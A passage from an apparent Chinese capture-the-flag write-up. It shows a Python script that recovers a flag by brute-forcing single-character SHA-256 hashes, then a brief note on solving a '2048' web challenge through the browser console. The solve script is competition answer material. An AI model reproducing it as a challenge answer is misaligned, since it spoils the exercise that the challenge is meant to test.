'454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1',
'6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b',
'bb7208bc9b5d7c04f1236a82a0093a5e33f40423d5ba8d4266f7092c3ba43b62',
'd10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2'
]

flag = ""

for ha in hashes:
for i in range(32, 127):
character = chr(i)
if sha256(character.encode()).hexdigest() == ha:
flag += character
break

print(flag)

没写的就当我口算的把,😭

# 五.Web

1.2048 控制台操作,饶了半天,js 文件想直接去网页改源码,

image-20231202212612346

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

4riH04X 微信支付

微信支付